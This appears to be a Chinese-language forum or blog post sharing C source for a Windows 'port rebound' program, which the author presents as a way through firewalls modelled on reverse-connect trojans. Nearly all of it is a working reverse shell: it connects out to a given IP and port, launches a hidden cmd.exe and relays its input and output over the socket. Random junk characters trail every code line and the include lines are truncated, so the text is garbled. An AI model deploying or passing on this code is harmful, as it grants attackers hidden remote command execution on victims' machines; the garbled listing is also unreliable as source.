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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;*1bTdB5a  
W2/FGJD  
/* ============================== XI:8_F;Q  
Rebound port in Windows NT &IsQgS7R  
By wind,2006/7 K]ob>wPf  
===============================*/ nw swy]e8/  
#include +^ a9i5  
#include bP\0S@1YL  
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#pragma comment(lib,"wsock32.lib") QA>(}u\+  
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void OutputShell(); VN[C%C  
SOCKET sClient; 59mNb:<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K~ ,| ~  
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void main(int argc,char **argv) 5I/wP qR[  
{ x2x) y08  
WSADATA stWsaData; 1{l18B`  
int nRet; Ri4t/H  
SOCKADDR_IN stSaiClient,stSaiServer; 2w\$}'  
Wt5x*p-!C  
if(argc != 3) 0 zm)MSg  
{ R)i  
printf("Useage:\n\rRebound DestIP DestPort\n"); n X4R  
return; S$J}>a#Ry  
} $* 1?"$LN  
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WSAStartup(MAKEWORD(2,2),&stWsaData); j(^ot001%v  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {6{y"8  
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stSaiClient.sin_family = AF_INET; Y$xO&\&)  
stSaiClient.sin_port = htons(0); jy@vz,/:%5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D`p&`]k3v  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) w}+#w8hu  
{ 7jvy]5y8&~  
printf("Bind Socket Failed!\n"); 8 2qf7`  
return; NbOeF7cq+  
} L#sw@UCK  
\{r-e  
stSaiServer.sin_family = AF_INET; fm$eJu  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t`NZ_w /  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !w iW#PR  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $jT&]p  
{ 2WQKj9iyN  
printf("Connect Error!"); :$k':0 n  
return; .N2yn`  
} HR)Dz~Obw  
OutputShell(); Oop5bg  
} VD}8ei  
jv $Y]nf  
void OutputShell() }$M 2XF  
{ '=MaO@ @  
char szBuff[1024]; MuNM)pyxp  
SECURITY_ATTRIBUTES stSecurityAttributes; 5`qt82Qm  
OSVERSIONINFO stOsversionInfo; ,XT#V\qne  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,M2u (9  
STARTUPINFO stStartupInfo; A4LGF  
char *szShell; lv -z[  
PROCESS_INFORMATION stProcessInformation; 1d/-SxhZ  
unsigned long lBytesRead; K&FGTS,  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); eduaG,+k7p  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Eu/~4:XN  
stSecurityAttributes.lpSecurityDescriptor = 0; Z(Da?6#1  
stSecurityAttributes.bInheritHandle = TRUE; &8'.Gw m}  
%Q]u_0P*  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XL[/)lX{  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (vte8uQe  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s2Gi4fY?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y.I-h l1<r  
stStartupInfo.wShowWindow = SW_HIDE; zJ{?'kp  
stStartupInfo.hStdInput = hReadPipe; 6o@}k9AN  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {\-rZb==F2  
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GetVersionEx(&stOsversionInfo); W{E2 2J}  
H /Idc,*  
switch(stOsversionInfo.dwPlatformId) IV{,'+hT  
{ y*2R#jTA  
case 1: /dTy%hZC}  
szShell = "command.com"; gfE<XrG  
break; (;utiupW  
default: d,=Kv  
szShell = "cmd.exe"; ?pgdj|"a  
break; bc}X.IC  
} vW4~\]  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <>aBmJs4  
7q bGA K  
send(sClient,szMsg,77,0); b *IJ +  
while(1) B{|g+c%  
{ [?)=3Pp  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Gd0-}4S?  
if(lBytesRead) gLv|Hu7  
{ `abQlBb*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H+ra w/"  
send(sClient,szBuff,lBytesRead,0); {Z[yY6Nu  
} c>fLSf  
else F-}-/N]o q  
{ :LRR\v0HM  
lBytesRead=recv(sClient,szBuff,1024,0); /UeLf $%ZW  
if(lBytesRead<=0) break; `x:znp}'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Oq"(oNG@  
} A^7!:^%K  
} VlKy6PSIg  
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return; 8f>=.O*)  
}
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